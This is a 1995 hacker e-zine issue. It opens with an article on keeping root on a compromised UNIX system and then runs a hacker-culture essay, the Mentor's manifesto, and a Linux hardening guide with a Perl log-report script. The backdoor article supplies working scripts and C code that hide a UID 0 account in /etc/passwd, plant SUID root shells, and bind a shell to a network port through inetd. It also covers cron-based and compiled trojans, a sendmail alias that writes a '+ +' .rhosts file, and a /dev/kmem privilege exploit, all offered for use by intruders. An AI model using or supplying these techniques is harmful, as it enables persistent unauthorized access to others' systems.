T H E  I N F I N I T Y   C O N C E P T
                                   ```   ```
                                  `   ``    `
                                   ```   ```



                                  .oO____Oo.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~The Infinity Concept~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                 . Issue #2 .
                                . Fall  1995 .

-=-=-=-=-=-=-=-=-=Brought to you by the members and associates of-=-=-=-=-=-=

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-the Guild=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                        |     Route, Nihil, Carbonboy      |
                        |  Squidge, Mythrandir, Delirium   |
                        | Alhambra, MrZippy, Cheshire, Zem |

                                     url's
                                    -------
                        ftp://onyx.infonexus.com/pub/Guild/
                        http://hops.cs.jhu.edu~/jed
                        http://homepage.interaccess.com/~rpfries/



------------------------------------------------------------------------------
Fall 1995               |  The Infinity Concept  |                     issue 2
------------------------------------------------------------------------------



                In this issue...

                1).UNIX backdoors................Route
                2).Hacker Hype..............Mythrandir
                3).Linux Security Basics......Deliryum
                4).Halloween Lore.............Deliryum
                5).'A Word to The Wise'.......Deliryum
                6).Intro to Van Eck Devices....RPFries





        Tell me and I forget.
        Teach me and I remember.
        Involve me and I learn.

              -- Ben Franklin


                                  .oO____Oo.



        [Introduction]


        Welcome back to the offical Pursuit of Knowledge, this, the second
issue of The Infinity Concept.  There have some membership changes in the
Guild in the last few months.  Topher and JFP have both stepped down for very
different reasons.  They still remain on great terms and are welcomed back at
anytime they see fit to return.
        We had many votes of confidence and kudos from you guys on the first
issue, and I hope this issue to be more of the same.  Probably the biggest
change is my new site, infonexus.com.  By the time you read this it should
be up and running (it has been HELL getting my provider to run with the ball).
The ftpsite has moved there (expanded tremendously), and it is now thw basis
for my operations.  It is homesite of the Guild, and of Mike Scanlons zine
HACKERS.  I have the site locked down rather tightly, and for more info on
it, email me.
        Already looking ahead to next issue, I plan to be do a techincal
article either on giga-bit networking technologies (B-ISDN, ATM, SONET,
etc) or firewall theory and architecture.  If  anyone has *ANY* article
suggestions, or submissions, please email me.



*note*  This issue is coming out a bit early, and as such, Mythrandir and
Nihil did not have time to submit their main articles.  An special edition
or an early next issue will contain there articles....



Now, on with the show...



        -Route


                                  .oO____Oo.



        ______________________________________________________________
        |UNIX backdoors                                               |
        |________________________(Keeping root in your hippocket)_____|


                                by Infinity 9/95




        --[Abstract]--


        Ok..... You've been at it for all night.  Trying all the exploits you
can think of.  The system seems tight.  The system looks tight.  The system
*is* tight.  You've tried everything.  Default passwds, guessable passwds,
NIS weaknesses,  NFS holes, incorrect permissions, race conditions, SUID
exploits, Sendmail bugs, and so on... Nothing.  WAIT!  What's that!?!?
A "#" ????  Finally!  After seeming endless toiling, you've managed to steal
root.  Now what?  How do you hold onto this precious super-user privilege you
have worked so hard to achieve....?
        This article is intended to show you how to hold onto root once you
have it.  It is intended for hackers and administrators alike.  From a
hacking perspective, it is obvious what good this paper will do you.  Admin's
can likewise benefit from this paper.  Ever wonder how that pesky hacker
always manages to pop up, even when you think you've completely eradicated
him from your system?
        This list is BY NO MEANS comprehensive.  There are as many ways to
leave backdoors into a UNIX computer as there are ways into one.


        --[Beforehand...]--

        Know the location of critical system files.  This should be obvious
(If you can't list any of the top of your head, stop reading now, get a book
on UNIX, read it, then come back to me...).  Familiarity with passwd file
formats (including general 7 field format, system specific naming conventions,
shadowing mechanisms, etc...).  Know vi.  Many systems will not have those
robust, user-friendly editors such as Pico and Emacs.  Vi is also quite
useful for needing to quickly seach and edit a large file.  If you are
connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to
have a robust terminal program that has a nice, FAT scrollback buffer.  This
will come in handy if you want to cut and paste code, rc files, shell scripts,
etc...
        The permenance of these backdoors will depend completely on the
technical saavy of the administrator.  The experienced and skilled
administrator will be wise to many (if not all) of these backdoors.  But, if
you have managed to steal root, it is likely the admin isn't as skilled (or up
to date on bug reports) as she should be, and many of these doors may be in
place for some time to come.  One major thing to be aware of, is the fact
that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.


        --[The Overt]--


        [1] Add a UID 0 account to the passwd file.  This is probably the most
obvious and quickly discovered method of rentry.  It flies a red flag to the
admin, saying "WE'RE UNDER ATTACK!!!".  If you must do this, my advice is DO
NOT simply prepend or append it.  Anyone causally examining the passwd file
will see this.  So, why not stick it in the middle...

------------------------------------8<----------------------------------------
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd                                      # Do this at home.
cp /etc/passwd ./temppass               # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1                     # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass         # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd                   # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
------------------------------------8<----------------------------------------

        NEVER, EVER, change the root password.  The reasons are obvious.

        [2] In a similar vein, enable a disabled account as UID 0, such as
Sync.  Or, perhaps, an account somwhere buried deep in the passwd file has
been abandoned, and disabled by the sysadmin.  Change her UID to 0 (and remove
the '*' from the second field).

        [3] Leave an SUID root shell in /tmp.

------------------------------------8<----------------------------------------
#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell
------------------------------------8<----------------------------------------

Many systems run cron jobs to clean /tmp nightly.  Most systems clean /tmp
upon a reboot.  Many systems have /tmp mounted to disallow SUID programs
from executing.  You can change all of these, but if the filesystem starts
filling up, people may notice...but, hey, this *is* the overt section....).
I will not detail the changes neccessary because they can be quite system
specific.  Check out /var/spool/cron/crontabs/root and /etc/fstab.



        --[The Veiled]--


        [4] The super-server configuration file is not the first place a
sysadmin will look, so why not put one there?  First, some background info:
The Internet daemon (/etc/inetd) listens for connection requests on TCP and
UDP ports and spawns the appropriate program (usally a server) when a
connection request arrives.  The format of the /etc/inetd.conf file is simple.
Typical lines look like this:

(1)     (2)     (3)     (4)     (5)     (6)             (7)
ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd

Field (1) is the daemon name that should appear in /etc/services.  This tells
inetd what to look for in /etc/services to determine which port it should
associate the program name with.  (2) tells inetd which type of socket
connection the daemon will expect.  TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field which is either of the two transport
protocols, TCP or UDP.  Field (4) specifies whether or not the daemon is
iterative or concurrent.  A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait.  'Nowait'
means the server will accept a connection, spawn a child process to handle
the connection, and then go back to sleep, waiting for further connections.
Field (5) is the user (or more inportantly, the UID) that the daemon is run
as.  (6) is the program to run when a connection arrives, and (7) is the
actual command (and optional arguments).  If the program is trivial (usally
requiring no user interaction) inetd may handle it internally.  This is done
with an 'internal' flag in fields (6) and (7).
        So, to install a handy backdoor, choose a service that is not used
often, and replace the daemon that would normally handle it with something
else.  A program that creates an SUID root shell, a program that adds a root
account for you in the /etc/passwd file, etc...
        For the insinuation-impaired, try this:

Open the /etc/inetd.conf in an available editor.  Find the line that reads:

        daytime stream  tcp     nowait  root    internal

and change it to:

        daytime stream  tcp     nowait /bin/sh  sh -i.

You now need to restart /etc/inetd so it will reread the config file.  It
is up to you how you want to do this.  You can kill and restart the
process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which
will interuppt ALL network connections (so it is a good idea to do this off
peak hours).

        [5] An option to compromising a well known service would be to
install a new one, that runs a program of your choice.  One simple solution
is to set up a shell the runs similar to the above backdoor.  You need to
make sure the entry appears in /etc/services as well as in /etc/inetd.conf.
The format of the /etc/services file is simple:

(1)     (2)/(3)         (4)
smtp    25/tcp          mail

Field (1) is the service, field (2) is the port number, (3) is the protocol
type the service expects, and (4) is the common name associated with the
service.  For instance, add this line to /etc/services:

        evil    22/tcp          evil

and this line to /etc/inetd.conf:

        evil    stream  tcp     nowait  /bin/sh sh -i

Restart inetd as before.


        Note:  Potentially, these are a VERY powerful backdoors.  They not
only offer local rentry from any account on the system, they offer rentry
from *any* account on *any* computer on the Internet.

        [6] Cron-based trojan I.  Cron is a wonderful system administration
tool.  It is also a wonderful tool for backdoors, since root's crontab will,
well, run as root...  Again, depending on the level of experience of the
sysadmin (and the implementation), this backdoor may or may not last.
/var/spool/cron/crontabs/root is where root's list for crontabs is usally
located.  Here, you have several options.  I will list a only few, as
cron-based backdoors are only limited by your imagination.
        Cron is the clock daemon. It is a tool for automatically executing
commands at specified dates and times.  Crontab is the command used to add,
remove, or view your crontab entries.  It is just as easy to manually edit
the /var/spool/crontab/root file as it is to use crontab.  A crontab entry
has six fields:

(1)     (2)     (3)     (4)     (5)     (6)
0       0       *       *       1       /usr/bin/updatedb


Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month
(1-31) month of the year (1-12), day of the week (0-6).  Field (6) is the
command (or shell script) to execute.  The above shell script is executed on
Mondays.  To exploit cron, simply add an entry into /var/spool/crontab/root.
For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if
he is missing, or do nothing otherwise (it may not be a bad idea to actually
*insert* this shell code into an already installed crontab entry shell
script, to further obfuscate your shady intentions).  Add this line to
/var/spool/crontab/root:

        0       0       *       *       *       /usr/bin/trojancode


This is the shell script:
------------------------------------8<----------------------------------------
#!/bin/csh
# Is our eviluser still on the system?  Let's make sure he is.
#daemon9@netcom.com

set evilflag = (`grep eviluser /etc/passwd`)


if($#evilflag == 0) then                        # Is he there?

        set linecount = `wc -l /etc/passwd`
        cd                                      # Do this at home.
        cp /etc/passwd ./temppass               # Safety first.
        @ linecount[1] /= 2
        @ linecount[1] += 1                     # we only want 2 temp files
        split -$linecount[1] ./temppass         # passwd string optional
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd                   # or whatever it was beforehand
        rm ./xa* ./temppass
        echo Done...
else
endif
------------------------------------8<----------------------------------------

        [7] Cron-based trojan II.  This one was brought to my attention by
our very own Mr. Zippy.  For this, you need a copy of the /etc/passwd file
hidden somewhere.  In this hidden passwd file (call it /var/spool/mail/.sneaky)
we have but one entry, a root account with a passwd of your choosing.  We run
a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real
/etc/passwd file for one minute (synchronize swatches!).  Any normal user or
process trying to login or access the /etc/passwd file would get an error, but
one minute later, everything would be ok.  Add this line to root's crontab
file:

        29      2       *       *       *       /bin/usr/sneakysneaky_passwd

make sure this exists:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

        and this is the simple shell script:

------------------------------------8<----------------------------------------
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
------------------------------------8<----------------------------------------

        [8] Compiled code trojan.  Simple idea.  Instead of a shell script,
have some nice C code to obfuscate the effects.  Here it is.  Make sure it
runs as root.  Name it something innocous.  Hide it well.

------------------------------------8<----------------------------------------
/* A little trojan to create an SUID root shell, if the proper argument is
given.  C code, rather than shell to hide obvious it's effects. */
/* daemon9@netcom.com */


#include

#define KEYWORD "industry3"
#define BUFFERSIZE 10

int main(argc, argv)
int argc;
char *argv[];{

        int i=0;

        if(argv[1]){            /* we've got an argument, is it the keyword? */

                if(!(strcmp(KEYWORD,argv[1]))){

                                /* This is the trojan part. */
                        system("cp /bin/csh /bin/.swp121");
                        system("chown root /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");
                }
        }
                                /* Put your possibly system specific trojan
                                   messages here */
                                /* Let's look like we're doing something... */
        printf("Sychronizing bitmap image records.");
        /* system("ls -alR / >& /dev/null > /dev/null&"); */
        for(;i<10;i++){
                fprintf(stderr,".");
                sleep(1);
        }
        printf("\nDone.\n");
        return(0);
} /* End main */

------------------------------------8<----------------------------------------


        [9] The sendmail aliases file.  The sendmail aliases file allows for
mail sent to a particular username to either expand to several users, or
perhaps pipe the output to a program.  Most well known of these is the
uudecode alias trojan.  Simply add the line:

 "decode: "|/usr/bin/uudecode"

        to the /etc/aliases file.  Usally, you would then create a uuencoded
.rhosts file with the full pathname embedded.

------------------------------------8<----------------------------------------
#! /bin/csh

# Create our .rhosts file.  Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
------------------------------------8<----------------------------------------

        Next telnet to the desired site, port 25.  Simply fakemail to decode
and use as the subject body, the uuencoded version of the .rhosts file.  For
a one liner (not faked, however) do this:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com

        You can be as creative as you wish in this case.  You can setup an
alias that, when mailed to, will run a program of your choosing.  Many of
the previous scripts and methods can be employed here.


        --[The Covert]--


        [10] Trojan code in common programs.  This is a rather sneaky method
that is really only detectable by programs such tripwire.  The idea is
simple:  insert trojan code in the source of a commonly used program.
Some of most useful programs to us in this case are su, login and passwd
because they already run SUID root, and need no permission modification.
Below are some general examples of what you would want to do, after obtaining
the correct sourcecode for the particular flavor of UNIX you are backdooring.
(Note:  This may not always be possible, as some UNIX vendors are not so
generous with thier sourcecode.)  Since the code is very lengthy and
different for many flavors, I will just include basic psuedo-code:

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...

        Not complex or difficult.  Trojans of this nature can be done in
less than 10 lines of additional code.



        --[The Esoteric]--

        [11] /dev/kmem exploit.  It represents the virtual of the system.
Since the kernel keeps it's parameters in memory, it is possible to modify the
memory of the machine to change the UID of your processes.  To do so requires
that /dev/kmem have read/write permission.  The following steps are executed:
Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID.  The
following program does just that.

------------------------------------8<----------------------------------------
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:  A practical tutorial"
with some modifications by daemon9@netcom.com */

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();

        if(argv[1]){            /* we've got an argument, is it the keyword? */
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);

                        if(fd<0){
                                printf("Cannot read or write to /dev/kmem\n");
                                perror(argv);
                                exit(10);
                        }

                        userlocation=address();
                        where=(lseek(fd,userlocation,0);

                        if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(20);
                        }

                        count=read(fd,&userpage,sizeof(struct user));

                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");
                                perror(argv);
                                exit(30);
                        }

                        printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);

                        userpage.u_ruid=0;
                        userpage.u_rgid=0;

                        where=lseek(fd,userlocation,0);

                        if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(40);
                        }

                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
                }
        }

} /* End main */

#include
#include
#include

#define LNULL ((LDFILE *)0)

long address(){

        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}
------------------------------------8<----------------------------------------
        [12] Since the previous code requires /dev/kmem to be world accessable,
and this is not likely a natural event, we need to take care of this.  My
advice is to write a shell script similar to the one in [7] that will change
the permissions on /dev/kmem for a discrete amount of time (say 5 minutes)
and then restore the original permissions.  You can add this source to the
source in [7]:

------------------------------------8<----------------------------------------
chmod 666 /dev/kmem
sleep 300               # Nap for 5 minutes
chmod 600 /dev/kmem     # Or whatever it was before
------------------------------------8<----------------------------------------

                                  .oO____Oo.


                        ---------------------------
                        ----    Hacker  Hype   ----
                        ---- by, Mythrandir    ----
                        ---------------------------

The following is something that I wrote for the newsletter of my college's
chapter of ACM.  The distribution is normally about 1000,  but also went out
to all of those who were attending our conference at the time.  Steve Wozniak
was also our keynote speaker.

    With the release of HACKERS, the supposed dark side of the internet has
been thrust into the limelight once more.  As many of you may have noticed the
media has taken a keen interesting in hackers as of late.  Several arrests have
made national newspapers and magazines.  Unfortunately it seems that very
little of the story is actually told.  The actors in this drama are often
dehumanized and made out to be people of pure maliciousness.  Unfortunately,
these are often people who are completely misunderstood, and even worse
misrepresented by the media.  I myself have met several people who the media
would consider hackers.  Some of these people do indeed fit into the stereo
type that is portrayed by the media,  but the fact is that most of these people
do not.  They are simply people who are striving for knowledge in a society
that does not promote free access of information.  These are the people
who were never allowed to follow their curiosity.  They were told to follow
the paths and curriculum that was laid in front of them, because people older
and wiser than them had formed them.  Many people were stunted and lost their
drive for knowledge,  others broke free.  The fact is that
these people are not all a bunch of people living in run down basements trying
to destroy the network.  These people are everywhere, from every walk of life,
living every type of lifestyle.  Being a hacker has nothing to do with race,
religion, or sex.  It has but one criteria.  A burning desire to aquire
knowledge. To know whatever it is that you do not know.  It is a quest that
can never end,  and I believe it is the noblest.  It is an unwritten rule
that one does not call him or herself a hacker.  The rule says that it is a
title that is bestowed on you.  The fact is that being a hacker is something
that you are born as.  It is neither earned nor bestowed.  It has nothing to
do with power or control.  It is simply a way of being.  Are you a hacker?

    The following is the hackers creed that was referred to in the movie
HACKERS.  Read it and judge for yourself.  It is a description of what many
have experienced time and time again.  The quest for knowledge crushed.  But
for many it cannot be driven out, for you see, knowledge yearns to be free.

                                                         Jeff Thompson
                                                         ACM@UIUC Vice Chair
                                                         SigNET Chair


                The following was written shortly after my arrest...

                       \/\The Conscience of a Hacker/\/

                                      by

                               +++The Mentor+++

                          Written on January 8, 1986
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

        Another one got caught today, it's all over the papers.
"Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after
Bank Tampering"...

     Damn kids.  They're all alike.

        But did you, in your three-piece psychology and 1950's
technobrain, ever take a look behind the eyes of the hacker?  Did you
ever wonder what made him tick, what forces shaped him, what may have
molded him?

     I am a hacker, enter my world...

     Mine is a world that begins with school... I'm smarter than most of
the other kids, this crap they teach us bores me...

     Damn underachiever.  They're all alike.

        I'm in junior high or high school.  I've listened to teachers
explain for the fifteenth time how to reduce a fraction.  I understand
it.  "No, Ms. Smith, I didn't show my work.  I did it in my head..."

     Damn kid.  Probably copied it.  They're all alike.

        I made a discovery today.  I found a computer.  Wait a second,
this is cool.  It does what I want it to.  If it makes a mistake, it's
because I screwed it up.  Not because it doesn't like me...

        Or feels threatened by me...

        Or thinks I'm a smart ass...

        Or doesn't like teaching and shouldn't be here...

     Damn kid.  All he does is play games.  They're all alike.

        And then it happened... a door opened to a world... rushing
through the phone line like heroin through an addict's veins, an
electronic pulse is sent out, a refuge from the day-to-day
incompetencies is sought... a board is found.

     "This is it... this is where I belong..."

     I know everyone here... even if I've never met them, never talked
to them, may never hear from them again... I know you all...

     Damn kid.  Tying up the phone line again.  They're all alike...

        You bet your ass we're all alike... we've been spoon-fed baby
food at school when we hungered for steak... the bits of meat that you
did let slip through were pre-chewed and tasteless.  We've been
dominated by sadists, or ignored by the apathetic.  The few that had
something to teach found us willing pupils, but those few are like
drops of water in the desert.

        This is our world now... the world of the electron and the
switch, the beauty of the baud.  We make use of a service already
existing without paying for what could be dirt-cheap if it wasn't run by
profiteering gluttons, and you call us criminals.  We explore... and you
call us criminals.  We seek after knowledge... and you call us
criminals.  We exist without skin color, without nationality, without
religious bias... and you call us criminals. You build atomic bombs, you
wage wars, you murder, cheat, and lie to us and try to make us believe
it's for our own good, yet we're the criminals.

        Yes, I am a criminal.  My crime is that of curiosity.  My crime
is that of judging people by what they say and think, not what they look
like. My crime is that of outsmarting you, something that you will never
forgive me for.

        I am a hacker, and this is my manifesto.  You may stop this
individual, but you can't stop us all... after all, we're all alike.

                               +++The Mentor+++



                                  .oO____Oo.


                  Linux Security Basics -- by Deliryum

  This text will cover basic security questions reguarding the Linux operating
  system. This is written for the "lay-man" in mind and thus will not go into
  great technical lenths (such as firewalling, which is detailed in great lenth
  in the FIREWALL howto). There is a good deal more information available on
  this subject, but I hope this is still quite informative. :) As always bear in
  mind that I am just a lowly human and becuase of which am proned to making
  mistakes. So, please, if there are mistakes in this text please point them out
  to me. Remember I am not responsible for anything that could result from
  reading this document. Nausea, convulsions, brain damage, etc.. should
  conditions persist seek imediate medical attention.. I repeat... :) Ok, enough
  yacking, on to the info.

o Default accounts:

Linux does come with a few standard logon id's that are needed for its basic
operation. Such as the root command, which doesn't have a password until you
assign it one. Its a good idea to disable the passwords of any default account.
This is done by putting a * in the password field of the /etc/passwd file. Also
on this note, its probably not a good idea to make a "guest" account on your
system. By this I mean an account where just anyone could login and have "guest
access" on your system. Such, security wise, is rather bad.


o Passwords:

Its amazing just how weakly this is enforced on some systems. A poorly chosen
password will defeat any other security measures, you as a sysadmin, can
envoke. Your users will, of course, want a password they don't have to think
about or write down, but this just isn't a good thing. It should be something
as difficult to crack as possible. With a combination of both letters and
numbers. This cannot be stressed enough. The longer the better. A unix
password can only be 8 letters long. This should never be a word in any
language. Also your users should be aware that their password should not relate
to them. An example of this is as such: Lets say one of your users is named Bob
Jones and Mr jones uses jones1 as a password... Well folks.. that just won't do.
It needs to bear no relation to that person.  Also, and this should be rather
obvious, the root password should be as UNGODLY difficult in spelling as
possible. This is, of course, the most important and powerful, account on your
system and should be protected. There are other ways of gaining root access on a
system than guessing that password, but ya shouldn't make it easy for an
intruder. :)

o Idle accounts:

Idle accounts are accounts that are basically unused. The person it was made for
either no longer uses it or has used it once or twice and doesn't plan on using
it anymore. This is bad security wise, as it is an account by which access could
be gained on your system. They need to be deleted.

o Action accounts:

 Action accounts (also known as command accounts) are those that have the
 ability to be logoned to and they run a set command. Ie, if you allowed such
 accounts one could login as finger and the finger command would run and then
 disconnect that person. These should *not* be used.

o Remote commands:

The following commands should be commented out of your /etc/inetd.conf file.
Finger, systat, and netstat (in most versions of linux this is stated in that
file right above where those commands are listed). These commands would give
information out to potential "system hackers" and is a bad idea becuase of this.

o System Logs:

A sysadmin should DEFINATLY pay close attention to these. These logs can help
a sysadmin know more of what is going on on his system. Below are some scripts
in Perl (you will need perl installed on your box for these to run) to better
maintain your logs. You should run these in a cron job (the sysadmin's best
friend) with sreport first and the archiver next so they are all in place still.

************************************ cut here ************************
#!/usr/bin/perl

# sreport v0.99 Copyright (C) 1995 Brett A. Thomas and RedCloud
# Software.  This product is freeware, and may be freely distributed
# as long as it isn't charged for.  Email quark@baz.com with any
# questions.

# An important item to bear in mind about this script is that it deals with
# a lot of logfiles that are often around in the system for a long period
# of time (ie, /var/adm/messages, /var/adm/xferlog, and /usr/adm/wtmp).
# These files _generally_ do not have year information stored in them,
# so there is no way to tell what happened a year ago yesterday from
# what happened yesterday.  So, there is a requirement that your logfiles
# not have data more than one year old in them.  Speaking personally, I
# solved this problem by compressing and storing everything more than one
# month old in a cron job that runs once a month.

# This array holds the list of all users for whom it is acceptable to have
# UID 0 (generally only "root"):
@ok_uid_zeros = ("root");

# This array holds the list of all users for whom it is acceptable to have
# GID 0:
@ok_gid_zeros = ("root", "sync", "shutdown", "halt", "operator");

# Contact line.  Kludged 'cause reports don't like at signs
$email_line = "Email quark@baz.com with any issues.\n";

&get_dates(); # Assigns the date to global var $date, and the report date
              # (ie, yesterday) to the global $report_date.
&get_hostname();                # Assigns the hostname to $host_name.
&get_domain_name();             # Gets domain name from /etc/HOSTNAME

# Everything above is to get setup info.  Reports are generated from
# here on down.

&get_syslog_report();           # Gets the syslog report into $syslog_report.
&get_netlogons_report();        # Gets the netlogons report into
                                # $netlogons_report.
&get_xferlog_report();          # Gets the xfer report into $xferlog_report.
&get_diskspace_report();        # Gets diskpace report into $disk_space_report.
&get_passwd_report();           # Gets passwd analysis into $passwd_report
&get_uptime_report();           # Gets the uptime report into $uptime_report.

# Open the report as a pipe to mail to root:
open(ADMINREPORT, "|mail root -s \"Administration Report for $host_name\"");
# Write the report (definition is at the end of the script)
write(ADMINREPORT);
# And close.
close(ADMINREPORT);


# Subroutines:


# Assigns today's date the the global variable $date, and the report date
# (generally yesterday) to the global variable $report_date.

sub get_dates
{
    # Execute "date" as a pipe, to get today's date:
    open(DATE_PIPE, "date|");

    chop($date = );  # Get the output from the process
    close(DATE_PIPE);           # Close it

    # Now, we need yesterday's date.  Rather than futzing with it,
    # we can call "date -d yesterday" in order to have IT figure it
    # out for us.
    open(DATE_PIPE, "date -d yesterday|");
    chop($_ = );     # Get the info, again...
    close(DATE_PIPE);           # ...and close it.
    s/\w+\s//; # Strip off the leading day of the week.
    /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug  8")
    $report_date = $&; # Assign the results of this to $report_date.
}

# Find out who we are:
sub get_hostname
{
    open(HOSTNAME, "/etc/HOSTNAME"); # Execute hostname into a pipe

    chop($host_name = ); # Get the information

    close(HOSTNAME);            # Close the file up
}

# Get the report information from /var/adm/messages for all entries that
# were written on $report_date:
sub get_syslog_report
{
    open(SYSLOG, "/var/adm/messages"); # Open the file for reading...
    while($_ = )        # Loop while there is more to read
    {
        /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug  8")

        if($& eq $report_date) # Only get today's report...
        {
            # Concatenate the line to the report:
            $syslog_report = $syslog_report . $_;
        }
    }
    close(SYSLOG);              # Close the file

    if(!$syslog_report)         # If no lines were found from $report_date
    {
        $syslog_report = "No Entries.\n"; # Indicate a blank report
    }
}

# Get the report information from /var/adm/xferlog for all entries that
# were written on $report_date.  This is very similar to &get_syslog_report,
# above.  However, since the log files have trivial format differences, the
# functions are not identical.
sub get_xferlog_report
{
    open(SYSLOG, "/var/adm/xferlog"); # Open the xferlog for reading
    while($_ = )        # Loop while there's something to read
    {
        s/\w+\s//; # Strip off the leading day of the week.
        /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug  8")

        if($& eq $report_date) # Only get today's report...
        {
            # Concatenate the line to the report:
            $xferlog_report = $xferlog_report . $_;
        }
    }
    close(SYSLOG);              # Close the file

    if(!$xferlog_report)        # If no lines were found from $report_date
    {
        $xferlog_report = "No Entries.\n"; # Indicate an empty report
    }

}

# Generate the report of who logged on yesterday from the network.
# From the network, for these purposes, is defined as:  On a virtual
# terminal (ttyp*), not from $domain_name and not from 0.0 (the only X
# I have set up).

sub get_netlogons_report
{
    open(LOGONS, "who /usr/adm/wtmp|"); # Open who to a pipe
    while($_ = )        # While it's got info...
    {
        $temp = $_;             # Remember the raw line ere manipulation
        s/\w+\s+\w+\s+//; # Dump the userid and tty off the line, for now
        /\w+\s+\w+/; # Match the date...

        if($& eq $report_date)  # Is it from the day we're looking for?
        {
            $_ = $temp;         # If so, put the raw input back into $_
            if(/ttyp/) # Is it from a virtual terminal?
            {
                /$domain_name/; # Is it not from the local net?
                if(!/$domain_name/)
                {
                    if(! /0.0/) # Is it not from an X Terminal?
                    {
                        # Yes, yes and yes; append it to the report:
                        $netlogons_report = $netlogons_report . $_;
                    }
                }
            }
        }
    }
    close(LOGONS);              # Close the pipe

    if(!$netlogons_report)      # Nobody logged in yesterday!
    {
        $netlogons_report = "No Entries.\n"; # Report a NULL report
    }
}

# Get the report on the ammount of diskspace available.
sub get_diskspace_report
{
    open(DF, "df |");           # Open df to a pipe
    while($_ = )
    {
        if(!/\/mnt\//) # Ignore stuff in /mnt like floppies, CDs, FAT drives
        {
            if(!/:/) # Ignore NFS mounted volumes
            {
                # Append it to the report:
                $disk_space_report = $disk_space_report . $_;
            }
        }
    }
    close(DF);                  # Close the pipe
    if(!$disk_space_report)
    {
        # A NULL report on this one is a bit more severe on the others.
        # It is truly weird if df has no entries that are not NFS and
        # not in the /mnt directory (at least on my systems)
        $disk_space_report = "No Entries.  (HUH?)\n";
    }
}

# This is the most sophisticated of all.  It does some simple analysis of
# the existing /etc/passwd, and then does some analysis of what has changed
# since yesterday.  At a high level, it reports on users with no passwords,
# users who are UID 0 or GID 0 and not in the @ok_uid_zeros and @ok_gid_zeros
# arrays, respectively, and reports the users added, deleted and changed
# since the last time it was run (presumed to be yestersay).

sub get_passwd_report
{
    # Initialize all the variables we need:
    $no_password_users = 0;     # Number of users with no password
    $uid_zero = 0;              # Number of users who are (improperly) UID 0
    $gid_zero = 0;              # Ditto for GID 0
    $index = 0;                 # Temporary index for walking arrays

    open(PASSWD, "/etc/passwd"); # Read in for security analysis, first...
    while($_ = )        # While there's lines to read
    {
        # First, check for users with no passwords at all:
        if(/^[^:]*::/) # If we have "login::" as the start of the line...
        {
            /^[^:]*/; # Just select the login, and scream and holler:
            $passwd_report =
               $passwd_report .
                   "*** WARNING! USER <$&> HAS NO PASSWORD! ***\n";
            # Increment the count of problem users)
            $no_password_users = $no_password_users + 1;
        }

